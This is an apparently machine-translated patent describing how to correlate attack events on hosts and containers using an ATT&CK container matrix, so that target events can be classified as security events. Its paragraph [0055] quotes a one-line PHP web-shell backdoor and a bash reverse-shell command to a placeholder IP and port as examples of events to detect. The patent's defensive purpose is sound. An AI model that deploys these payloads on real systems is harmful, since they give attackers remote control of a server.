A security event analysis method, device and computer readable storage medium

Abstract

The application provides a security event analysis method, device and computer readable storage medium, the method comprising: correlating and analyzing a plurality of attack events occurring in a host and / or a container according to a container attack-defense matrix to construct a security event logic tree; obtaining a target event; and determining whether the target event is a security event based on the security event logic tree. The method, device and computer readable storage medium can solve the problem that existing security event analysis methods are difficult to analyze based on event correlation.

Description

Technical Field

[0001] This invention relates to a security incident analysis method, apparatus, and computer-readable storage medium. Background Technology

[0002] Current methods for addressing container security risks mainly focus on container image scanning, container micro-segmentation firewalls, and container behavior auditing. These methods cannot perform joint analysis based on various events occurring in the host and container. Therefore, although container security protection measures are relatively abundant, existing security event analysis methods have the problem of difficulty in performing event correlation analysis. Summary of the Invention

[0003] The technical problem to be solved by the present invention is to address the above-mentioned shortcomings of the prior art by providing a security event analysis method, apparatus and computer-readable storage medium to solve the problem that existing security event analysis methods are difficult to perform based on event correlation analysis.

[0004] In a first aspect, the present invention provides a security incident analysis method, comprising:

[0005] Based on the container attack and defense matrix, perform correlation analysis on multiple attack events occurring in the host and / or container, and construct a security event logic tree;

[0006] Get the target event;

[0007] Based on the security event logic tree, determine whether the target event is a security event.

[0008] Preferably, before performing correlation analysis on multiple attack events occurring in the host and / or container based on the container attack and defense matrix, the method further includes:

[0009] Based on the container attack and defense matrix, multiple attack events occurring in the host and / or container are obtained, wherein the attack events include:

[0010] At least one of the following: abnormal command execution, malicious file upload, abnormal process creation, abnormal logs, and abnormal user login.

[0011] Preferably, the step of performing correlation analysis on multiple attack events occurring in the host and / or container based on the container attack and defense matrix includes:

[0012] Based on the container attack and defense matrix in the ATT&CK framework, we perform correlation analysis on multiple attack events occurring in the host and / or container.

[0013] Preferably, before determining whether the target event is a security event based on the security event logic tree, the method further includes:

[0014] The security event logic tree is stored in the threat intelligence database.

[0015] Preferably, determining whether the target event is a security event based on the security event logic tree specifically includes:

[0016] Based on the threat intelligence database, it is determined whether the target event is a security event.

[0017] In a second aspect, the present invention provides a security incident analysis device, comprising:

[0018] The analysis module is used to perform correlation analysis on multiple attack events occurring in the host and / or container based on the container attack and defense matrix, and construct a security event logic tree;

[0019] An acquisition module, connected to the analysis module, is used to acquire target events;

[0020] The judgment module, connected to the acquisition module, is used to determine whether the target event is a security event based on the security event logic tree.

[0021] Preferably, the device further includes:

[0022] The event module is used to obtain multiple attack events occurring in the host and / or container based on the container attack and defense matrix, wherein the attack events include:

[0023] At least one of the following: abnormal command execution, malicious file upload, abnormal process creation, abnormal logs, and abnormal user login.

[0024] Preferably, the analysis module includes:

[0025] The analysis unit is used to perform correlation analysis on multiple attack events occurring in the host and / or container based on the container attack and defense matrix in the ATT&CK framework.

[0026] Thirdly, the present invention provides a security incident analysis apparatus, including a memory and a processor, wherein the memory stores a computer program and the processor is configured to run the computer program to implement the security incident analysis method described in the first aspect above.

[0027] Fourthly, the present invention provides a computer-readable storage medium storing a computer program, which, when executed by a processor, implements the security event analysis method described in the first aspect.

[0028] The security event analysis method, apparatus, and computer-readable storage medium provided by this invention perform correlation analysis on multiple attack events occurring in a host and / or container based on a container attack and defense matrix, construct a security event logic tree, obtain target events, and determine whether the target event is a security event based on the security event logic tree. Because this invention can perform correlation analysis based on attack events occurring in a host and / or container, it solves the problem that existing security event analysis methods are difficult to perform correlation analysis based on events. Attached Figure Description

[0029] Figure 1 This is a flowchart of a security incident analysis method according to Embodiment 1 of the present invention;

[0030] Figure 2 This is a schematic diagram of the correlation analysis in Embodiment 1 of the present invention;

[0031] Figure 3 This is a schematic diagram of the security event logic tree of Embodiment 1 of the present invention;

[0032] Figure 4 This is a schematic diagram of the structure of a security incident analysis device according to Embodiment 2 of the present invention;

[0033] Figure 5 This is a schematic diagram of the structure of another security incident analysis device according to Embodiment 2 of the present invention;

[0034] Figure 6 This is a schematic diagram of a security event analysis device according to Embodiment 3 of the present invention. Detailed Implementation

[0035] To enable those skilled in the art to better understand the technical solution of the present invention, the embodiments of the present invention will be further described in detail below with reference to the accompanying drawings.

[0036] It is understood that the specific embodiments and accompanying drawings described herein are merely for explaining the invention and are not intended to limit the invention.

[0037] It is understood that, without conflict, the various embodiments and features in the embodiments of the present invention can be combined with each other.

[0038] It is understood that, for ease of description, only the parts related to the present invention are shown in the accompanying drawings, while the parts unrelated to the present invention are not shown in the drawings.

[0039] It is understood that each unit or module involved in the embodiments of the present invention may correspond to only one entity structure, or may be composed of multiple entity structures, or multiple units or modules may be integrated into one entity structure.

[0040] It is understood that, without conflict, the functions and steps marked in the flowcharts and block diagrams of this invention may occur in a different order than that marked in the accompanying drawings.

[0041] It is understood that the flowcharts and block diagrams of this invention illustrate the possible architecture, functions, and operations of systems, apparatuses, nodes, and methods according to various embodiments of this invention. Each block in the flowchart or block diagram may represent a unit, module, program segment, or code, containing executable instructions for implementing the specified function. Furthermore, each block or combination of blocks in the block diagram and flowchart can be implemented using a hardware-based system to achieve the specified function, or using a combination of hardware and computer instructions.

[0042] It is understood that the units and modules involved in the embodiments of the present invention can be implemented by software or by hardware. For example, the units and modules can be located in a processor.

[0043] Application Overview

[0044] The rapid development of cloud computing technology is accelerating the cloud deployment of various information and business systems, and migrating various businesses to the cloud has become an inevitable trend in the future digital transformation process. In a cloud computing environment, the deployment, launch, and migration of various businesses are more convenient, and cloud-native technologies are widely used. However, because cloud-native technologies emphasize continuous delivery, DevOps, microservices, and containerization, they also bring new security challenges, such as container escape, the introduction of dangerous images, dynamic changes in containers, and the propagation of malicious code between containers. Effectively addressing the security risks brought about by the widespread use of containers has become a pressing issue for enterprises.

[0045] However, domestic research on solutions to container security risks is still in its initial stage. The methods mainly focus on container image scanning, container micro-segmentation firewalls, and container behavior auditing. They cannot perform joint analysis based on various events occurring in the host and container. Therefore, although container security protection measures are relatively rich, the ability to perform event correlation analysis still needs to be enhanced.

[0046] To address the aforementioned technical problems, this application proposes a security event analysis method, apparatus, and computer-readable storage medium. Based on a container attack matrix, it performs correlation analysis on multiple attack events occurring in the host and containers, constructs a security event logic tree, and then uses the constructed security event logic tree to achieve effective analysis of security events. This enables the prediction of potential future security events, thereby effectively preventing future attacks.

[0047] After introducing the basic principles of this application, various non-limiting embodiments of this application will be described in detail below with reference to the accompanying drawings.

[0048] Example 1:

[0049] This embodiment provides a security incident analysis method, such as Figure 1 As shown, the method includes:

[0050] Step S101: Based on the container attack and defense matrix, perform correlation analysis on multiple attack events occurring in the host and / or container, and construct a security event logic tree.

[0051] In this embodiment, the container attack and defense matrix includes attack behaviors at both the orchestration and container layers, and outlines the tactics, techniques, and sub-techniques employed by various APT (Advanced Persistent Threat) groups to launch attacks against containers. By correlating and analyzing multiple attack events occurring in hosts and / or containers through the container attack and defense matrix, a security event logic tree can be constructed. This logic tree can include the data source of the attack event, the anomalous event, the specific behavior of the anomalous event, and the specific attack event.

[0052] Optionally, before performing correlation analysis on multiple attack events occurring in the host and / or container based on the container attack and defense matrix, the method further includes:

[0053] Based on the container attack and defense matrix, multiple attack events occurring in the host and / or container are obtained, wherein the attack events include:

[0054] At least one of the following: abnormal command execution, malicious file upload, abnormal process creation, abnormal logs, and abnormal user login.

[0055] In this embodiment, an attack event refers to an event that launches an attack on processes, files, commands, logs, and user logins on a host and / or container. This can include abnormal command execution, malicious file uploads, abnormal process creation, abnormal logs, and abnormal user logins. Attackers can upload a Trojan horse, create a process using a malicious file, and execute reverse shell commands to achieve their attack objectives. For example, the Trojan code `<?php@eval($_POST['pass'])?>` represents a malicious file upload attack event. Another example is the reverse shell statement: `Bash -c 'exec bash -i &> / dev / tcp / IP / port <&1'`, which represents an abnormal command execution attack event.

[0056] Optionally, the step of performing correlation analysis on multiple attack events occurring in the host and / or container based on the container attack and defense matrix includes:

[0057] Based on the container attack and defense matrix in the ATT&CK framework, we perform correlation analysis on multiple attack events occurring in the host and / or container.

[0058] In this embodiment, ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is an attack behavior knowledge base and threat modeling model. It contains numerous threat organizations and the tools and attack techniques they use. It is commonly used for network red team / blue team exercises, network security penetration testing, network defense gap assessment, and network threat intelligence gathering. The container attack and defense matrix in the ATT&CK framework is shown in the table below:

[0059]

[0060]

[0061] In this embodiment, by analyzing the attack techniques used by attackers to launch attacks on containers in the ATT&CK framework, the monitoring data that needs to be analyzed for container attack events can be summarized. Then, a logic tree of security events can be constructed based on the monitoring data, thereby effectively realizing the analysis and location of security events and providing a reference for subsequent judgment of attack behavior.

[0062] Step S102: Obtain the target event.

[0063] In this embodiment, commands, files, processes, logs, and user information in the host or container can be used as data sources to obtain target events that occur therein.

[0064] Step S103: Determine whether the target event is a security event based on the security event logic tree.

[0065] In this embodiment, if the target event matches the security event corresponding to the security event logic tree, then the target event is a security event; otherwise, the target event is determined not to be a security event. When the target event is a security event, the target event can also be located according to the security event logic tree.

[0066] Optionally, before determining whether the target event is a security event based on the security event logic tree, the method further includes:

[0067] The security event logic tree is stored in the threat intelligence database.

[0068] In this embodiment, the threat intelligence database is a database that stores various security event logic trees. When abnormal data is detected in a host or container, it can be quickly determined whether the abnormal data is a security event based on the security event logic trees in the threat intelligence database.

[0069] Optionally, determining whether the target event is a security event based on the security event logic tree specifically includes:

[0070] Based on the threat intelligence database, it is determined whether the target event is a security event.

[0071] In this embodiment, the security event logic tree of various attack events is stored in the threat intelligence database. When a target event occurs, the security event can be quickly analyzed based on the threat intelligence database.

[0072] In one specific embodiment, if an attack occurs on a host or container by uploading a one-line backdoor to execute a reverse shell, the security event analysis method may include the following steps:

[0073] 1) Take samples of commands, files, processes, logs, and user information from the host or container, analyze information from relevant data sources, and confirm whether an attack has occurred;

[0074] 2) such as Figure 2 As shown, the attack and defense matrix in the ATT&CK framework is used to perform correlation analysis on attack events that occur in the host or container. It checks whether there are abnormal events in command execution, file operation, process, service, network port, user information, etc. After confirming the abnormal event, it further confirms the specific behavior corresponding to the abnormality and confirms that an attack event of executing a reverse shell by uploading a one-line backdoor has occurred.

[0075] 3) Construct the attack event as confirmed in step 2) Figure 3 The security event logic tree shown includes data sources, abnormal events, specific behaviors, and attack events.

[0076] 4) Store the security event logic tree in the threat intelligence database;

[0077] 5) If another attack occurs by uploading a one-line backdoor to execute a reverse shell, prevent it based on the corresponding security event logic tree in the threat intelligence database.

[0078] The security event analysis method provided in Example 1 performs correlation analysis on multiple attack events occurring in the host and / or container based on the container attack and defense matrix, constructs a security event logic tree, obtains the target event, and determines whether the target event is a security event based on the security event logic tree. Since the present invention can perform correlation analysis based on attack events occurring in the host and / or container, it solves the problem that existing security event analysis methods are difficult to perform correlation analysis based on events.

[0079] Example 2:

[0080] like Figure 4As shown, this embodiment provides a security incident analysis apparatus for executing the above-described security incident analysis method, including:

[0081] Analysis module 11 is used to perform correlation analysis on multiple attack events occurring in the host and / or container based on the container attack and defense matrix, and construct a security event logic tree;

[0082] Acquisition module 12, connected to analysis module 11, is used to acquire target events;

[0083] The judgment module 13, connected to the acquisition module 12, is used to determine whether the target event is a security event based on the security event logic tree.

[0084] Preferably, such as Figure 5 As shown, the device further includes:

[0085] Event module 10 is used to obtain multiple attack events occurring in the host and / or container according to the container attack and defense matrix, wherein the attack events include:

[0086] At least one of the following: abnormal command execution, malicious file upload, abnormal process creation, abnormal logs, and abnormal user login.

[0087] Preferably, the analysis module includes:

[0088] The analysis unit is used to perform correlation analysis on multiple attack events occurring in the host and / or container based on the container attack and defense matrix in the ATT&CK framework.

[0089] Preferably, the device further includes:

[0090] The storage module is used to store the security event logic tree into the threat intelligence database.

[0091] Preferably, the determination module 13 includes:

[0092] The judgment unit is used to determine whether the target event is a security event based on the threat intelligence database.

[0093] Example 3:

[0094] like Figure 6 As shown, this embodiment provides a security event analysis device for executing the above-described security event analysis method, including a memory 21 and a processor 22. The memory 21 stores a computer program, and the processor 22 is configured to run the computer program to execute the security event analysis method in Embodiment 1.

[0095] The memory 21 is connected to the processor 22. The memory 21 can be a flash memory, a read-only memory or other memory, and the processor 22 can be a central processing unit or a microcontroller.

[0096] Example 4:

[0097] This embodiment provides a computer-readable storage medium storing a computer program, which, when executed by a processor, implements the security event analysis method in Embodiment 1 above.

[0098] The computer-readable storage medium includes volatile or non-volatile, removable or non-removable media implemented in any method or technology for storing information (such as computer-readable instructions, data structures, computer program modules, or other data). Computer-readable storage media include, but are not limited to, RAM (Random Access Memory), ROM (Read-Only Memory), EEPROM (Electrically Erasable Programmable Read-Only Memory), flash memory or other memory technologies, CD-ROM (Compact Disc Read-Only Memory), DVD or other optical disc storage, cartridges, magnetic tapes, disk storage or other magnetic storage devices, or any other medium that can be used to store desired information and is accessible to a computer.

[0099] The security event analysis device and computer-readable storage medium provided in Examples 2 to 4 perform correlation analysis on multiple attack events occurring in the host and / or container based on the container attack and defense matrix, construct a security event logic tree, obtain the target event, and determine whether the target event is a security event based on the security event logic tree. Since the present invention can perform correlation analysis based on attack events occurring in the host and / or container, it solves the problem that existing security event analysis methods are difficult to perform correlation analysis based on events.

[0100] It is understood that the above embodiments are merely exemplary implementations used to illustrate the principles of the present invention, and the present invention is not limited thereto. For those skilled in the art, various modifications and improvements can be made without departing from the spirit and essence of the present invention, and these modifications and improvements are also considered to be within the scope of protection of the present invention.

Claims

1. A security incident analysis method, characterized in that, include: Based on the container attack and defense matrix, multiple attack events occurring in the host and containers are correlated and analyzed to construct a security event logic tree. The container attack and defense matrix includes attack behaviors at the orchestration layer and container layer, and provides various tactics, techniques and sub-techniques that different APT groups need to use to launch attacks against containers. Retrieve target events; specifically, commands, files, processes, logs, and user information in the host and container are used as data sources to retrieve the target events that occur within them; Based on the security event logic tree, determine whether the target event is a security event.

2. The security incident analysis method according to claim 1, characterized in that, Before performing correlation analysis on multiple attack events occurring in the host and container based on the container attack and defense matrix, the method further includes: Based on the container attack and defense matrix, multiple attack events occurring in the host and containers are obtained, wherein the attack events include: At least one of the following: abnormal command execution, malicious file upload, abnormal process creation, abnormal logs, and abnormal user login.

3. The security incident analysis method according to claim 2, characterized in that, The analysis of the correlation between multiple attack events occurring on the host and in containers based on the container attack and defense matrix includes: Based on the container attack and defense matrix in the ATT&CK framework, we perform correlation analysis on multiple attack events occurring in the host and container.

4. The security incident analysis method according to claim 1, characterized in that, Before determining whether the target event is a security event based on the security event logic tree, the method further includes: The security event logic tree is stored in the threat intelligence database.

5. The security incident analysis method according to claim 4, characterized in that, The step of determining whether the target event is a security event based on the security event logic tree specifically includes: Based on the threat intelligence database, it is determined whether the target event is a security event.

6. A security incident analysis device, characterized in that, include: The analysis module is used to perform correlation analysis on multiple attack events occurring in the host and containers based on the container attack and defense matrix, and construct a security event logic tree; wherein, the container attack and defense matrix includes attack behaviors at the orchestration layer and container layer, and provides various tactics, techniques and sub-techniques that various APT groups need to use to launch attacks against containers; The acquisition module, connected to the analysis module, is used to acquire target events; wherein, commands, files, processes, logs, and user information in the host and container are used as data sources to acquire the target events that occur therein; The judgment module, connected to the acquisition module, is used to determine whether the target event is a security event based on the security event logic tree.

7. The security incident analysis device according to claim 6, characterized in that, The device further includes: The event module is used to obtain multiple attack events occurring in the host and container based on the container attack and defense matrix, wherein the attack events include: At least one of the following: abnormal command execution, malicious file upload, abnormal process creation, abnormal logs, and abnormal user login.

8. The security incident analysis device according to claim 6, characterized in that, The analysis module includes: The analysis unit is used to perform correlation analysis on multiple attack events occurring in hosts and containers based on the container attack and defense matrix in the ATT&CK framework.

9. A security incident analysis device, characterized in that, It includes a memory and a processor, wherein the memory stores a computer program and the processor is configured to run the computer program to implement the security event analysis method as described in any one of claims 1-5.

10. A computer-readable storage medium, characterized in that, The computer-readable storage medium stores a computer program that, when executed by a processor, implements the security event analysis method as described in any one of claims 1-5.

Images